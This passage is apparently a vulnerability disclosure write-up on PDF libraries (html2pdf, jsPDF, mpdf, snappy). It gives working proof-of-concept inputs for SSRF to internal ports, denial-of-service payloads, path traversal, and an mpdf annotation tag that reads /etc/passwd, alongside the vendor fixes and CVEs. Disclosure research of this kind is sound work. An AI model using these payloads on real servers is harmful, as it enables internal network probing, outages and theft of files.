A new `Security` class with the `checkValidPath` function was added to the library. The function's logic matches the protocol requested in the string against a whitelist of allowed protocols, such as `file`, `http`, and `https`. If an external attacker attempts to use a protocol that is not allowed, for example `phar`, `checkValidPath` throws an `HtmlParsingException`.

Adding the `Security` class and the `checkValidPath` method to validate the protocol


```

class Security implements SecurityInterface
{
    protected $authorizedSchemes = ['file', 'http', 'https'];

    /**
     * @param string $path
     * @return void
     * @throws HtmlParsingException
     */
    public function checkValidPath(string $path): void
    {
        $path = trim(strtolower($path));
        $scheme = parse_url($path, PHP_URL_SCHEME);

        if ($scheme === null) {
            return;
        }

        if (in_array($scheme, $this->authorizedSchemes)) {
            return;
        }

        if (strlen($scheme) === 1 && preg_match('/^[a-z]$/i', $scheme)) {
            return;
        }

        throw new HtmlParsingException('Unauthorized path scheme');
    }
}

```

Vulnerability 2. Server Side Request Forgery (Blind SSRF) via the link tag and href attribute

Researcher: Aleksey Solovev

Description

Next we demonstrate a series of three server-side request forgery vulnerabilities, each with its own characteristics.

The first vulnerability is triggered by attempting to load CSS (Cascading Style Sheets).

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

```
$ composer require spipu/html2pdf:5.3.0
```

Technical details

The `extractStyle` CSS function parses HTML markup that may be controlled by attackers. Following the regex-based parsing (*markers 1 and 2*), the function extracts the tag attributes (*marker 3*) and checks them for the expected values (*marker 4*).

Next, the `$url` variable will be initialized (*marker 4*) and then used for calling the native function `file_get_contents` (*marker 6*). This results in a server-side request execution.

Function for extracting cascading style sheets

```

class Css
{
    ...
    public function extractStyle($html)
    {
        // the CSS content
        $style = '';

        // extract the link tags, and remove them in the html code
        preg_match_all('/<link([^\>]*)>/isU', $html, $match); // marker 1
        $html = preg_replace('/<link([^\>]*)>/isU', '', $html);
        $html = preg_replace('/<\Vlink([^\>]*)>/isU', '', $html);
        ...
        // analyse each link tag
        foreach ($match[1] as $code) { // marker 2
            $tmp = $this->tagParser->extractTagAttributes($code); // marker 3

            // if type text/css => we keep it
            if (isset($tmp['type']) && strtolower($tmp['type']) === 'text/css' && isset($tmp['href'])) { // marker 4

                // get the href
                $url = $tmp['href']; // marker 5

                // get the content of the css file
                $this->checkValidPath($url);
                $content = @file_get_contents($url); // marker 6
                ...
            }
        }
        ...
    }
    ...
}

```

Exploitation

To demonstrate exploitation of this vulnerability, we will show the source code of the web application that includes the “link” tag with the “href” and “type” attributes set to “text/css”. The href attribute value is the target server’s local address on port 8080.

Web application source code

```
<?php

require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;

$content = '<link href="http://127.0.0.1:8080" type="text/css"></link>';

$html2pdf = new Html2Pdf();
$html2pdf->writeHTML($content);
$html2pdf->output();

?>
```

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

```
user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives a single loopback request with local address 127.0.0.1 when attempting to obtain the cascading style sheets.

[image: image]

Figure 8. Demonstration of server-side request execution

Fix

A description of the fix will follow shortly.

Vulnerability 3. Server Side Request Forgery (Blind SSRF) via the img tag and the src attribute

Researcher: Aleksey Solovev

Description

Here we examine the classic case—executing a server-side request via an image.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

```
$ composer require spipu/html2pdf:5.3.0
```

Technical details

In the `Html2Pdf` class, there is a `_drawImage` method that takes the variable `$src` as its first argument; this variable is controlled by the attacker.

The `$img` variable can reach two different code paths where the native `getimagesize` function is called (*marker 1* and *marker 2*). The `getimagesize` function determines the size of the specified image; for this, it needs to request data from the resource, which can lead to the execution of a server-side request.

The `Html2Pdf` `_drawImage` method

```
class Html2Pdf
{
    ...
    protected function _drawImage($src, $subLi = false)
    {
        ...
        if (strpos($src,'data:') === 0) {
            $src = base64_decode( preg_replace('#^data:image/[^;]+;base64,#', '', $src) );
            $infos = @getimagesizefromstring($src);
            $src = "@{$src}";
        } else {
            $this->parsingCss->checkValidPath($src);
            $infos = @getimagesize($src); // marker 1
        }
        ...
        // if the image does not exist, or can not be loaded
        if (!is_array($infos) || count($infos)<2) {
            ...
            // if we have a fallback Image, we use it
            if ($this->_fallbackImage) {
                $src = $this->_fallbackImage;
                $infos = @getimagesize($src); // marker 2
                ...
            }
        }
        ...
    }
    ...
}
```

Exploitation

To demonstrate exploitation of this vulnerability, we will show the source code of the web application that includes the `"img"` tag with the `"src"` attribute. The value of the `"src"` attribute is the target server's local address on port 8080.

Web application source code

```
<?php
require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;

$content = "<img src='http://127.0.0.1:8080'>";

$html2pdf = new Html2Pdf('P', 'A4', 'fr');
$html2pdf->writeHTML($content);
echo $html2pdf->output('example01.pdf');
?>
```

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

```
user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 will receive one loopback request at the local address 127.0.0.1 when attempting to obtain the size of the requested image.

[image: image]

Figure 9. Demonstration of server-side request execution

When we addressed the script, we received a 500 Internal Server Error. However, we can see that a server-side request was executed.

Fix

Please be a little patient. When describing the next vulnerability, we will demonstrate the fix—and what happened after we analyzed the patch proposed by the vendor!

Vulnerability 4. Server-Side Request Forgery (Blind SSRF) via the CSS background property and the url function

Researcher: Aleksey Solovev

Description

The native `getimagesize` function is called again, which will lead to a server-side request execution, but under different circumstances.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the `spipu/html2pdf` library.

Installing the vulnerable version of the spipu/html2pdf library

```
$ composer require spipu/html2pdf:5.3.0
```

Technical details

When the `Html2Pdf::_drawRectangle` method is called, the `$iName` variable is initialized from `$background['image']` (*marker 1*). Next, `$iName` will be used when calling the native `getimagesize` function, which can lead to a server-side request execution.

The `Html2Pdf::_drawRectangle` method

```
class Html2Pdf
{
    ...
    protected function _drawRectangle($x, $y, $w, $h, $border, $padding, $margin, $background)
    {
        ...
        // prepare the background image
        if ($background['image']) {
            $iName = $background['image']; // marker 1
            ...
            // get the size of the image
            // WARNING : if URL, "allow_url_fopen" must turned to "on" in php.ini
            $imageInfos=@getimagesize($iName); // marker 2
            ...
        }
        ...
    }
}
```

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

```
user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives a single loopback request with local address 127.0.0.1 when attempting to obtain the cascading style sheets.

Exploitation

To exploit this vulnerability, we will demonstrate the source code of the web application that contains the `div` tag with the `style` attribute. In the CSS, the `background` property will be set using

the `url()` function. This function takes a value that contains the local address of the target server on port 8080.

Web application source code

```
<?php
require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;

$content = '<div style="background: url(http://127.0.0.1:8080)">Hello World</div>';

$html2pdf = new Html2Pdf('P', 'A4', 'fr');
$html2pdf->writeHTML($content);
echo $html2pdf->output('example01.pdf');
?>
```

As a result, the server returned a 500 Internal Server Error, but it successfully performed a server-side request.

[image: image]

Figure 10. Demonstration of server-side request execution

Fix

Remember how, in this library, we discussed the Phar deserialization vulnerability and its [subsequent fix](#)? To recap, the `Security` class with the `checkValidPath` method was introduced.

The spipu/html2pdf library developer warns that the library does not control loaded resources.

The vendor added an auxiliary option to prevent Server-Side Request Forgery. Here, the developer using this library overrides the `checkValidPath` method of the `SecurityInterface`. The overridden method is needed to extend and customize the logic for processing the requested resource.

We will attach a screenshot of the final solution after all the issues we found in this library are fixed—and it is a good final solution! However, when analyzing the first version of this fix, we realized the story was not over yet.

[image: image]

Figure 11. The developer of the spipu/html2pdf library warns that the library does not control loaded resources

Vulnerability 5. Server-Side Request Forgery (Blind SSRF) via the `img` tag and the `src` attribute

Researcher: Nikita Sveshnikov

Description

After analyzing the fix proposed by the vendor in version 5.3.1, we realized that it was not sufficient.

The vendor allowed the `SecurityInterface` to be implemented via a custom class. In this class, a developer can override the `checkValidPath` method intended for filtering resources. We found that this method does not provide full protection against server-side request forgery. The reason is that the library accesses the resource before the user's `SecurityInterface` implementation takes effect.

We will demonstrate the exploitation of this vulnerability on version 5.3.1 of the `spipu/html2pdf` library.

Installing the vulnerable version of the `spipu/html2pdf` library

```
$ composer require spipu/html2pdf:5.3.1
```

Technical details

The `SecurityInterface` must ensure path validation before file loading. For this, the `checkValidPath` method of the `SecurityInterface` is used (*marker 1*).

The request to obtain the image size (the native `getimagesize` function) will be executed after checking the path to the requested resource (*marker 2*).

The `Html2Pdf _drawImage` method

```
class Html2Pdf
{
    ...
    protected function _drawImage($src, $subLi = false)
    {
        ...
        // get the size of the image
        // WARNING : if URL, "allow_url_fopen" must turn to "on" in php.ini

        if (strpos($src,'data:') === 0) {
            $src = base64_decode( preg_replace('#^data:image/[^\;]+;base64,#', '', $src) );
            $infos = @getimagesizefromstring($src);
            $src = "@{$src}";
        } else {
            $this->security->checkValidPath((string) $src); // marker 1
            $infos = @getimagesize($src); // marker 2
        }
        ...
    }
    ...
}
```

At first glance, everything looks correct: the path is checked before the request is executed. However, the key reason is the double call of the `_drawImage` method. The vulnerability was that, during the two calls of this method, different implementations of `SecurityInterface` were used—the default and the overridden one.

The debugger confirms that in the same call of `$this->security`, we see two different classes in two successive iterations:

- First iteration: a `Spipu\Html2Pdf\Security\Security` instance
- Second iteration: a `SecurityLogger` instance

Debugging console

```
$this->security
V Spipu\Html2Pdf\Security\Security
V authorizedSchemes = array(3)
    0 = "file"
    1 = "http"
    2 = "https"
$this->security
V SecurityLogger
```

Let's figure out why this happens.

In this library, the `_makeHTMLcode` function processes HTML tags. In this function, there is a loop that iterates over all tags, after which the `$action` variable is initialized (*marker 1*) and passed to the `_executeAction` method (*marker 2*).

The `Html2Pdf _makeHTMLcode` method

```

class Html2Pdf
{
    ...
    protected function _makeHTMLcode()
    {
        ...
        $amountHtmlCode = count($this->parsingHtml->code);
        // foreach elements of the parsing
        for ($this->_parsePos=0; $this->_parsePos<$amountHtmlCode; $this->_parsePos++) {
            // get the action to do
            $action = $this->parsingHtml->code[$this->_parsePos]; // marker 1

            // if it is a opening of table / ul / ol
            if (in_array($action->getName(), array('table', 'ul', 'ol')) && !$action->isClose()) {
                ...
            }

            // execute the action
            $this->_executeAction($action) // marker 2
        }
    }
    ...
}

```

Let's view the `$this->parsingHtml->code` variable in the debugging console:

Debugging console

```

$this->parsingHtml->code
V array(3)
V 0 = Spipu\Html2Pdf\Parsing\Node
    name = "page"
V params = array(2)
    style = array(0)
    num = 0
    close = false
    autoClose = false
    line = 2
V 1 = Spipu\Html2Pdf\Parsing\Node
    name = "img"
V params = array(4)
    style = array(0)
    alt = ""
    src = "http://127.0.0.1:8080/private.jpg"
    num = 0
    close = false
    autoClose = true
    line = 3
V 2 = Spipu\Html2Pdf\Parsing\Node
    name = "page"
V params = array(2)
    style = array(0)
    num = 0
    close = true
    autoClose = false
    line = 4

```

This variable consist of three tags:

- Opening tag “page”
- Self-closing tag “img”
- Closing tag “page”

Executing `_executeAction` with the `img` tag from the context of this function is safe and will call the user `SecurityInterface` implementation.

However, the cause of the vulnerability is that while processing the “page” tag (it will be processed first), the `_setNewPositionForNewLine` method repeatedly addresses the `$sub->parsingHtml->code` variable, followed by initialization of the `$action` variable, which is passed to the `_executeAction` method (*marker 1*).

The `Html2Pdf_setNewPositionForNewLine` method

```

class Html2Pdf
{
    ...
    protected function _setNewPositionForNewLine($curr = null)
    {
        ...
        // for each element of the parsing => load the action
        $res = null;
        $amountHtmlCodes = count($sub->parsingHtml->code);
        for ($sub->_parsePos; $sub->_parsePos < $amountHtmlCodes; $sub->_parsePos++) {
            $action = $sub->parsingHtml->code[$sub->_parsePos];
            $res = $sub->_executeAction($action); // marker 1
            if (!$res) {
                break;
            }
        }
    }
    ...
}

```

Let's analyze the value of the \$action variable once again by debugging it.

Debugging console

```

$action
V Spipu\Html2Pdf\Parsing\Node
name = "img"
V params = array(4)
    style = array(0)
    alt = ""
    src = "http://127.0.0.1:8080/private.jpg" // Ссылка на объект в теге img
    num = 0
close = false
autoClose = true
line = 3

```

In this context, the `_drawImage` method will be first called with the default `Security` class implementation. As mentioned earlier, the repeated call of `_drawImage` will be safe, since the `_executeAction` method with the `img` tag will be executed from the `_makeHTMLcode` function.

Exploitation

Below is code that implements `SecurityInterface`. When the `checkValidPath` method is called, the path is written to the standard output (stdout), and execution is terminated by calling the native `exit` function. This pinpoints exactly when the security control is triggered.

Web application source code

```
<?php
require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;
use Spipu\Html2Pdf\Security\SecurityInterface;

class SecurityLogger implements SecurityInterface {
    public function checkValidPath(string $path): void {
        echo "Security check triggered for path: " . htmlspecialchars($path) . "\n";
        exit;
    }
}

$html = <<<html
    
html;

$html2pdf = new Html2Pdf();
$html2pdf->setSecurityService(new SecurityLogger());
$html2pdf->writeHTML($html);
$html2pdf->output();
?>
```

When testing on a local HTTP server, it is visible that the request to `http://127.0.0.1:8080` is indeed sent before the custom check triggers.

[image: image]

Figure 12. Demonstration of server-side request execution

Fix

This vulnerability and the following one (described below) were fixed by a single patch (<https://github.com/spipu/html2pdf/commit/ff07b14d5d153c1c3b3a8fc878e0195881a2d45a>, <https://github.com/spipu/html2pdf/commit/4ca73d04461c00a6bde7cf138d22402f85e34bea>) on April 23, 2025, and the version 5.3.2 of the library was released. The library developer introduced changes that improve the security interface.

Vulnerability 6. Server-Side Request Forgery (Blind SSRF) via the CSS background property and the url function

Researcher: Nikita Sveshnikov

Description

Despite the introduction of the `SecurityInterface` mechanism in the `spipu/html2pdf` library, we found that server-side request forgery can be performed when using the `background-image` CSS property contained in the HTML markup. The `checkValidPath` method is not called at all, and several HTTP requests to an external (or internal) resource are executed, bypassing all checks.

Technical details

When the `spipu/html2pdf` library encounters the `background: url(...)` CSS property, the path is processed in the `Html2Pdf::_drawRectangle` method.

In this method, no preliminary validation using the `checkValidPath` method is performed, and the URL is immediately used by the `getimagesize` function (*marker 1*), which initiates a network request.

The `Html2Pdf::_drawRectangle` method

```
class Html2Pdf
{
    ...
    protected function _drawRectangle($x, $y, $w, $h, $border, $padding, $margin, $background)
    {
        ...
        // prepare the background image
        if ($background['image']) {
            $iName    = $background['image'];
            ...
            // get the size of the image
            // WARNING : if URL, "allow_url_fopen" must turned to "on" in php.ini
            $imageInfos=@getimagesize($iName); // marker 1
            ...
        }
        ...
    }
}
```

After this, the `spipu/html2pdf` library delegates work to the `tecnickcom/TCPDF` library, specifically to the `TCPDF::Image` method. File validity and buffering checks are performed by the `file_exists` function (marker 1) and the `getImageBuffer` function (marker 2), without any validation of the path scheme.

The `Image TCPDF` method

```

class TCPDF
{
    ...
    public function Image($file, $x=null, $y=null, $w=0, $h=0, $type="", $link="", $align="", $resize=false, $dpi=300, $palign='
    {
        ...
        // check if we are passing an image as file or string
        if ($file[0] === '@') {
            ...
        } else { // image file
            ...
            // check if file exist and it is valid
            if (!@$this->fileExists($file)) { // marker 1
                return false;
            }
            if (false !== $info = $this->getImageBuffer($file)) { // marker 2
                $simsize = array($info['w'], $info['h']);
                ...
            }
            ...
        }
        ...
    }
}

```

Next, a dynamic call of the image handler is performed (*marker 1*). The method contained in the `$mtd` variable may be, for example, `_parsejpg`.

Low-level calls are also used in this method to load resources from disk or by URL, which results in three more HTTP requests.

The Image TCPDF method


```

class TCPDF
{
    ...
    public function Image($file, $x=null, $y=null, $w=0, $h=0, $type="", $link="", $align="", $resize=false, $dpi=300, $palign='
    {
        ...
        if ($newimage) {
            ...
            if ((method_exists('TCPDF_IMAGES', $mtd)) AND (!($resize AND (function_exists($gdfunction) OR extension_loaded('in
            ...
            $info = TCPDF_IMAGES::$mtd($file); // marker 1
            ...
        }
        ...
    }
    ...
}

```

Exploitation

Below is a PoC code that uses `SecurityLogger` which displays the requested resource path and terminates execution. Despite this, the check is not called, and server-side request forgery is performed in full.

Web application source code

```

<?php
require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;
use Spipu\Html2Pdf\Security\SecurityInterface;

class SecurityLogger implements SecurityInterface {
    public function checkValidPath(string $path): void {
        echo "Security check triggered for path: " . htmlspecialchars($path) . "\n";
        exit;
    }
}

$html = <<<html
    <div style="
        height: 250px;
        background: #f0f0f0 url(http://127.0.0.1:8080/private.jpg)">
        Div with background image
    </div>
html;

$html2pdf = new Html2Pdf();
$html2pdf->setSecurityService(new SecurityLogger());
$html2pdf->writeHTML($html);
$html2pdf->output();
?>

```

On the server side, where the local HTTP server is running, we see six incoming loopback requests.

[image: image]

Figure 13. Demonstration of server-side request execution

Fix

This vulnerability was fixed (<https://github.com/spipu/html2pdf/commit/ff07b14d5d153c1c3b3a8fc878e0195881a2d45a>, <https://github.com/spipu/html2pdf/commit/4ca73d04461c00a6bde7cf138d22402f85e34bea>) on April 25, 2025, in version 5.3.2 of this library. The fix turned out to be quite simple; the developer added a path check to the `_drawRectangle` method.

The parallax/jsPDF library

Description

[image: image]

The [parallax/jsPDF](#) library enables client-side and server-side PDF file generation with JavaScript.

Detected vulnerabilities

Vulnerability 1. Denial of Service (DoS). Regular Expression (ReDoS)

Researcher: Aleksey Solovev

Description

One of the most popular JavaScript libraries for generating PDF files supporting both client-side and server-side generation, is the parallax/jsPDF library.

In the GitHub repository, we found that this library had a vulnerability that was fixed: [Regular Expression Denial of Service \(ReDoS\)](#), CVE-2021-23353.

Regular Expression Denial of Service (ReDoS) is a type of attack against web applications or services in which an attacker uses specially crafted regular expressions (RegEx) or input that causes the regular expression to execute extremely slowly. As a result, the server consumes significant resources (CPU, memory) processing such a request, leading to slowdown or denial of service (DoS).

We will demonstrate the exploitation of this vulnerability on version 3.0.0 of the parallax/jsPDF library.

Installing the vulnerable version of the parallax/jsPDF library

```
$ npm install jspdf@3.0.0
```

Technical details

When analyzing [the vulnerability fix](#), we saw that the regular expression was updated but is still applied to strings that may originate from external untrusted input.

[\[image: image\]](#)

Figure 14. Fix for CVE-2021-23353

We verified the modified regular expression and found out that it was still vulnerable to denial-of-service attacks.

Exploitation

Based on the new regular expression, a character sequence was generated that leads to denial of service (ReDoS).

We will demonstrate the vulnerable application source code specifying a special character sequence in the “payload” variable. The “payload” variable contains values that can be controlled by an attacker during PDF generation.

Web application source code

```

const { jsPDF } = require('jspdf');

const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=

const doc = new jsPDF();
const startTime = performance.now();

try {
  doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
  doc.save("a4.pdf")
} catch (err) {
  const endTime = performance.now();
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);
}

```

When running the source code, we saw that the application responded very slowly. In this current run it took more than 39 seconds to respond.

Starting and running the application

```

$ node app.js
Call to doc.addImage took 39037.757161 milliseconds

```

With the application running, let's look at system load. We find that one CPU core began to be used at 100%.

[\[image: image\]](#)

Figure 15. 100% CPU core use

Fix

The vendor [fixed this vulnerability](#) on March 17, 2025, and released the version 3.0.1 of the library. The vulnerability was assigned [CVE-2025-29907](#). The fix is a modification of the logic that removes the validation of the "dataUrl" variable by a regular-expression.

Vulnerability 2. Denial of Service (DoS). Loop with Unreachable Exit Condition

Researcher: Aleksey Solovev

Description

While reviewing the fix in version 3.0.1, we noticed an incorrect data type conversion, which resulted in processing a "data:/aaaaaaa" sequence for more than five minutes. That was enough for us and we did not wait any longer!

This vulnerability will be reproduced on version 3.0.1 of the parallax/jsPDF library.

Installing the vulnerable version of the "parallax/jsPDF" library

```
$ npm install jspdf@3.0.1
```

Technical details

When calling the `addImage` method and passing the `"data:/,aaaaaaa"` sequence, we end up in the `processImageData` method, where the sequence is converted using the `binaryStringToUint8Array` function (*marker 1*).

The `processImageData` function

```
var processImageData = function(imageData, format, alias, compression) {
  var result, dataAsBinaryString;
  ...
  if (!result) {
    if (supportsArrayBuffer()) {
      // no need to convert if imageData is already uint8array
      if (!(imageData instanceof Uint8Array) && format !== "RGBA") {
        dataAsBinaryString = imageData;
        imageData = binaryStringToUint8Array(imageData); // marker 1
      }
    }

    result = this["process" + format.toUpperCase()](
      imageData, // marker 2
      getImageIndex.call(this),
      alias,
      checkCompressValue(compression),
      dataAsBinaryString
    );
  }

  if (!result) {
    throw new Error("An unknown error occurred whilst processing the image.");
  }
  return result;
};
```

After converting the expected binary string to the `Uint8` array, the `imageData` variable is passed as the first parameter to the PNG method and stored in the `this.data` variable.

During the first iteration, the `chunkSize` variable is transformed by calling the `this.readUInt32` method (*marker 1*) and now has the value `-1711276032`. This is slightly different from what we expected, since `UInt32` is an unsigned 32 bit integer in the range from 0 to 4,294,967,295 ($2^{32} - 1$).

During the first iteration, the execution flow enters the switch statement (marker 3). Here, the `this.pos` variable—which was 8 at initialization but has already been changed to 16 by this point—is assigned the value of the `chunkSize` variable, which is -1711276032. As a result, the `this.pos` variable gets the value -1711276016. Then comes another +4 (marker 4) and the value becomes -1711276012.

After this, the next iteration in the loop occurs. And the next. And the next. Note that initialization of the section variable (marker 2) at each iteration is a resource intensive operation that, over many iterations, causes a significant slowdown of the loop and the library.

```
function PNG(data) {
  ...
  this.data = data;
  this.pos = 8;
  frame = null;
  while (true) {
    chunkSize = this.readUInt32(); // marker 1
    section = function() { // marker 2
      var _i, _results;
      _results = [];
      for (_i = 0; _i < 4; ++_i) {
        _results.push(String.fromCharCode(this.data[this.pos++]));
      }
      return _results;
    }
    .call(this)
    .join("");
    switch (section) {
      ...
      default:
        this.pos += chunkSize; // marker 3
    }
    this.pos += 4; // marker 4
    if (this.pos > this.data.length) { // marker 5
      throw new Error("Incomplete or corrupt PNG file");
    }
  }
}
```

Exploitation

Based on the new regular expression, a character sequence was generated that can once again lead to denial of service.

We will demonstrate the vulnerable application source code specifying a special character sequence in the “payload” variable. This sequence can be controlled by an attacker.

Web application source code

```
const { jsPDF } = require('./node_modules/jspdf/dist/jspdf.node.js');

const payload = 'data://,aaaaaa';

const doc = new jsPDF();
const startTime = performance.now();

try {
  doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
  doc.save("a4.pdf")
} catch (err) {
  const endTime = performance.now();
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);
}
```

When we ran the source code, the application became extremely slow to respond. It ran for more than five minutes, and we didn't wait for it to finish.

With the application running, let's look at system load. We find that one CPU core began to be used at 100%.

[\[image: image\]](#)

Figure 16. 100% CPU core usage

Fix

The vendor [fixed this vulnerability](#) on August 26, 2025, and released the version 3.0.2 of the library. The vulnerability was assigned [CVE-2025-57810](#). The fix consists in optimizing the input processing logic.

The mpdf/mpdf library

Description

[\[image: image\]](#)

The [mpdf/mpdf](#) library is a PHP library that generates PDF files from HTML. It requires PHP ≥ 5.6 and is based on FPDF and HTML2FPDF with a number of improvements.

Intentional behavior

During our audit of mpdf/mpdf, we found that HTML markup can be used to:

- Blind SSRF (Server Side Request Forgery): send requests to arbitrary URLs and ports, including the internal network.

- Files or Directories Accessible to External Parties: embed local image files into a generated PDF, including files outside the current directory.

The library vendor classifies this as intentional behavior, not a vulnerability (<https://mpdf.github.io/#using-user-input-in-htmlcss-code>).

[image: image]

Figure 17. Vendor response concerning mpdf/mpdf

Starting with version 8.1.0, the library provides `Mpdf\File\LocalContentLoaderInterface` to strictly limit which directories can be read. If you need isolation, implement a custom resource loader.

We document the cases of intentional behaviors so both information security professionals and developers can recognize them.

We will demonstrate the exploitation of this vulnerability on version 8.2.5 of the mpdf/mpdf library.

Installing a specific version of mpdf/mpdf

```
$ composer require mpdf/mpdf:8.2.5
```

Intentional behavior 1. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the img tag and src attribute

Researcher: Nikita Sveshnikov

Using the `img` tag, you can connect a local image or address a local or remote resource on behalf of the server.

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML("<img src='http://127.0.0.1:8080/'>");
$mpdf->WriteHTML("<img src='/tmp/user_files/user_1/private_image.jpg'>");
$mpdf->Output();
```

Demonstration of server side request execution and embedding an arbitrary image into the generated PDF.

[image: image]

Figure 18. Demonstration of server side request execution and embedding an arbitrary image into the generated PDF

Intentional behavior 2. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the input tag and src attribute

Researcher: Nikita Sveshnikov

If user input is filtered and we cannot use the `img` tag, there are alternatives. For example, here we use the `input` tag with `type="image"`.

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<input type="image" src="http://127.0.0.1:8080"/>');
$mpdf->WriteHTML('<input type="image" src="/tmp/user_files/user_1/private_image.jpg"/>');
$mpdf->Output();
```

Demonstration of server side request execution and embedding an arbitrary image into the generated PDF.

[\[image: image\]](#)

Figure 19. Demonstration of server side request execution and embedding an arbitrary image into the generated PDF

Intentional behavior 3. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the CSS background property and the url function

Researcher: Nikita Sveshnikov

Another way to execute a server-side request or read a file is to use the CSS (Cascading Style Sheets) `background` property. In this example, we embed a private user image in the generated PDF file.

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();

$html1 = '
<style>
  body {
    background: url("http://127.0.0.1:8080");
  }
</style>
';

$html2 = '
<style>
  body {
    background: url("/tmp/user_files/user_1/private_image.jpg");
  }
</style>
';

$mpdf->WriteHTML($html1);
$mpdf->WriteHTML($html2);

$mpdf->Output();
```

The private user image was successfully embedded as a background in the generated PDF file, and a server-side request was successfully executed.

[image: image]

Figure 20. Demonstration of server side request execution and embedding an arbitrary image into the generated PDF

Intentional behavior 4. Files or Directories Accessible to External Parties via Path Traversal

Researcher: Nikita Sveshnikov

The mpdf/mpdf library performs path normalization, but it is insufficient to fully prevent path traversal.

Inside the `img` tag, you can specify not only the `src` attribute but also the `orig_src` attribute (*marker 1*), which the library parses without validation. If the absolute path is unknown, you can attempt to perform a relative path traversal.

Path traversal is also possible using the `img` tag's `src` attribute. The library sanitizes URIs only when they start with `"../"`. By prefixing the path with `"vendor/"` (*marker 2*), you can bypass the

current directory and embed an arbitrary image into the generated PDF file.

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML(''); // marker 1
$mpdf->WriteHTML(''); // marker 2
$mpdf->Output();
```

Private user images were successfully embedded into the generated PDF file.

[image: image]

Figure 21. Demonstration of embedding an arbitrary image into the generated PDF file

Misconfiguration

Beyond intentional developer choices, dangerous misconfigurations are common. They arise from incorrect environment or library settings and can lead to the same consequences as code vulnerabilities. Below are several examples.

Misconfiguration 1. Files or Directories Accessible to External Parties via the annotation tag

Researcher: Nikita Sveshnikov

If `allowAnnotationFiles` is enabled in the mpdf/mpdf library's configuration (*marker 1*), you can use the annotation tag (*marker 2*) to read an arbitrary local file—not just an image!

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$config = [
    'allowAnnotationFiles' => true, // marker 1
];

$mpdf = new \Mpdf\Mpdf($config);
$html = '<annotation file="/etc/passwd" content="" icon="" title="" />'; //marker 2
$mpdf->WriteHTML($html);
$mpdf->Output();
```

After downloading the generated PDF, we can extract the file using the `pdftdetach` application.

[image: image]

Figure 22. Demonstration of reading the embeded `/etc/passwd` file when generating a PDF

Misconfiguration 2. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the watermarkimage tag

Researcher: Nikita Sveshnikov

With `showWatermarkImage` enabled (*marker 1*) in the mpdf/mpdf library's configuration, we can address local or remote resources on behalf of the server or embed local images in the generated PDF file as a watermark.

Web application source code

```
<?php
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();
$html = '<watermarkimage src="/tmp/user_files/user_1/private_image.jpg" alpha="0.5" size="P" position="P" />
<p> This is some content.</p>';

$mpdf->WriteHTML($html);
$mpdf->showWatermarkImage = true; // marker 1
$mpdf->Output();
```

As a result, the watermark in the generated PDF file became an arbitrary image.

[image: image]

Figure 23. Demonstration of embedding an arbitrary image into the generated PDF file

The KnpLabs/snappy library

Description

[image: image]

[Knplabs/snappy](#) is a PHP library for generating thumbnails, snapshots, or PDFs from a URL or an HTML page.

Identifying the library and its version Knplabs/snappy is a wrapper for wkhtmltopdf/wkhtmltoimage. Therefore, “snappy” will not appear in the PDF document properties. The Application field will show wkhtmltopdf with a version, and the PDF producer will be “Qt”. If you encounter wkhtmltopdf older than 0.12.6 (still common in practice), watch out for CVE 2022 35583.

Intentional behavior

The demonstration uses Knplabs/snappy version 1.4.4.

Installing a specific version of Knplabs/snappy

```
$ composer require knplabs/knp-snappy:1.4.4
```

We also have to install wkhtmltopdf on the system. For the demonstration, we use the latest available version, for example, wkhtmltox_0.12.6.1-3.jammy_amd64.deb (<https://github.com/wkhtmltopdf/packaging/releases/tag/0.12.6.1-3>).

Installing wkhtmltopdf

```
